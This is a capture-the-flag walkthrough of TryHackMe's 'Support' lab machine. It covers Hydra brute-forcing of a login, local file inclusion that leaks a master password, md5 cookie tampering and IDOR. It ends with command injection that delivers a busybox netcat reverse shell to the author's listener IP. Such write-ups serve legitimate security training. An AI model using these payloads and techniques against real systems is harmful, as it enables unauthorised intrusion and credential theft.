> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/support.md).

# Support

{% embed url="<https://tryhackme.com/room/support>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

A new internal **Support Operations Platform** has been deployed to assist IT and helpdesk teams. The application handles user management, internal APIs, and system-level operations. However, security was not the primary focus during development. Several features rely on user-controlled input and weak trust boundaries.

## Summary

<details>

<summary>Summary</summary>

In Support, we enumerate the target and identify SSH on port 22 and an HTTP service on port 80 hosting a login portal that exposes the email `help@support.thm` on the index page. We brute-force the login form with Hydra against the `xato-net-10-million-passwords-10000` wordlist, recover valid credentials, and gain access to a dashboard with a `skin`parameter vulnerable to local file inclusion. By traversing paths like `dashboard.php?skin=../api` and `../config`, we leak the source code of `api.php` and `config.php`, with the latter revealing a master password. With a tampered cookie, we are able to reach the `api.php` endpoint, which exposes a user endpoint from which `/user/1` reveals the email of the admin user. The admin account uses a slight derivation of the master password, allowing us to log in as the admin user. We then identify a `sys` parameter in the dashboard footer that executes system commands when set to values like `time`, confirming command injection. We exploit this by injecting a `busybox nc` reverse shell via command substitution (`date$(busybox nc 192.168.135.32 4445 -e bash)`) against a Penelope listener and land a callback as `www-data`, retrieving the final flag from `/home/ubuntu/user.txt`.

</details>

## Recon

We use `rustscan -b 500 -a support.thm --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a support.thm --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/tvRBGbtXBsKl5GTUkLE2" alt=""><figcaption></figcaption></figure>

We discover two open ports, SSH available on port 22 and a web server available on port 80.

<figure><img src="/files/F6XQwlYH2uhIjx99brzU" alt=""><figcaption></figcaption></figure>

We visit the index page and are greeted by a login. An account is already visible to try for a dictionary attack.

{% code overflow="wrap" expandable="true" %}

```
http://support.thm/
```

{% endcode %}

<figure><img src="/files/NF2muGWx0Wgb7PRLsqLo" alt=""><figcaption></figcaption></figure>

We run a dictionary attack and find some less interesting path.&#x20;

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://support.thm/'
```

{% endcode %}

<figure><img src="/files/VN4v5hp1B7SIyENadJTE" alt=""><figcaption></figcaption></figure>

## Access as <help@support.thm>

We capture a log in request as `help@support.thm` to prepare a dictionary attack via hydra.

<figure><img src="/files/j7PkfwlxsH4XW3zTo3Sp" alt=""><figcaption></figcaption></figure>

We are able to determine the used password of `help@support.thm` by using the `xato-net-10-million-passwords-10000.txt` wordlist.

{% code overflow="wrap" expandable="true" %}

```
hydra -l 'help@support.thm' -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt support.thm http-post-form '/:email=^USER^&password=^PASS^:Invalid credentials.
```

{% endcode %}

<figure><img src="/files/5DLSiFeODmvNx8qHyCxh" alt=""><figcaption></figcaption></figure>

We enter the credentials and are redirected to the dashboard.

{% code overflow="wrap" expandable="true" %}

```
http://support.thm
```

{% endcode %}

<figure><img src="/files/zx7rL2SczUC4mD8fQzVn" alt=""><figcaption></figcaption></figure>

On the dashboard we only have the selction fo themes available yet.

{% code overflow="wrap" expandable="true" %}

```
http://support.thm/dashboard.php
```

{% endcode %}

<figure><img src="/files/jwkDiYJO4cIcG7cKHHFq" alt=""><figcaption></figcaption></figure>

We test this by selecting a theme.

{% code overflow="wrap" expandable="true" %}

```
http://support.thm/dashboard.php?skin=red
```

{% endcode %}

<figure><img src="/files/AgIgXnyQ9KhXVNfoMR0F" alt=""><figcaption></figcaption></figure>

It seems like that also path traversal is present. From our previous scan we see that it might include php files. This would also allow us to include other php files present.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://support.thm/dashboard.php?skin=../skins/red
```

{% endcode %}

<figure><img src="/files/PqTYtRD31QZpjg37OMQW" alt=""><figcaption></figcaption></figure>

## Access as <help@support.thm> with ITUser privileges

We inspect the cookies and see a is ITUser cookie. A md5 value is set.

<figure><img src="/files/w7ungBPMAvjKMpBkmsb5" alt=""><figcaption></figcaption></figure>

We crack the hash using CrackStation and see it resolves to the value false.

<figure><img src="/files/VN6lnyjBoyiDtxWw4ocF" alt=""><figcaption></figcaption></figure>

We generate a md5 sum of `true`...

{% embed url="<https://gchq.github.io/CyberChef/#recipe=MD5()&input=dHJ1ZQ>" %}

<figure><img src="/files/KgoksvAfXrKSG0e1O0F5" alt=""><figcaption></figcaption></figure>

... and replace it. Now we have the API available.

<figure><img src="/files/C5eBJCEMTroYfyuSuMmU" alt=""><figcaption></figcaption></figure>

From there we are able to spot different user entries via an IDOR.

{% code overflow="wrap" expandable="true" %}

```
http://support.thm/api.php
```

{% endcode %}

<figure><img src="/files/dKGafHTlsTsvpIj4YV5R" alt=""><figcaption></figcaption></figure>

We inspect the entry of the first user and find the admin. The admin email address is `specialadmin@support.thm`.

{% code overflow="wrap" expandable="true" %}

```
http://support.thm/user/1
```

{% endcode %}

<figure><img src="/files/PUQ1Su8LlO2fCzDWi9hD" alt=""><figcaption></figcaption></figure>

Another dictionary attack is not sufficient.

So we try to leverage the LFI we found previously. With that we can inspect the source of the different PHP files present.

{% code overflow="wrap" expandable="true" %}

```
http://127.0.0.1/?view-source:http://support.thm/dashboard.php?skin=../api
```

{% endcode %}

<figure><img src="/files/rBo1Kd47pdXXnuKAI3YP" alt=""><figcaption></figcaption></figure>

We try to include the config.php file and are succesful. This reveals the master password. Maybe it is used by the admin.

{% code overflow="wrap" expandable="true" %}

```
view-source:http://support.thm/dashboard.php?skin=../config
```

{% endcode %}

<figure><img src="/files/V77mDinDl3GOlqFXbMrk" alt=""><figcaption></figcaption></figure>

We try the found master password in combination with the admin mail, but without success. It turns out it is a slight varition of the master password missing the special character...

{% code overflow="wrap" expandable="true" %}

```
http://support.thm/
```

{% endcode %}

<figure><img src="/files/0C9sUw7Pw82N8FkNohzO" alt=""><figcaption></figcaption></figure>

We log in and find the first flag.

{% code overflow="wrap" expandable="true" %}

```
http://support.thm/dashboard.php
```

{% endcode %}

<figure><img src="/files/tFkeyTFPeaI7vVhjYO5M" alt=""><figcaption></figcaption></figure>

Now we are able to set the footer by the drop down below.

<figure><img src="/files/n9GPv53XfL3XrwmW3f0G" alt=""><figcaption></figcaption></figure>

We test the parameter...

<figure><img src="/files/4kpXaeH0zeiSfNQuGUFE" alt=""><figcaption></figcaption></figure>

... and the response to setting the sys parameter to time looks like a system command is being executed.

<figure><img src="/files/Qagv4BjY2GuYGBSYZbm8" alt=""><figcaption></figcaption></figure>

We try to spawn a reverse shell via command substition. Before we send the request we set up a listner with `penelope -p 4445`.

{% embed url="<https://github.com/brightio/penelope>" %}

{% code overflow="wrap" expandable="true" %}

```
date$(busybox nc 192.168.135.32 4445 -e bash)
```

{% endcode %}

<figure><img src="/files/IhvfD1QAj1xOy6TGp945" alt=""><figcaption></figcaption></figure>

We get a connection back and are `www-data`.

<figure><img src="/files/ZCGdrLGMS0por4YBgDc8" alt=""><figcaption></figcaption></figure>

We find the final flag at `/home/ubuntu/user.txt`.

<figure><img src="/files/QR8Alkn3CA1n46iNc8KZ" alt=""><figcaption></figcaption></figure>
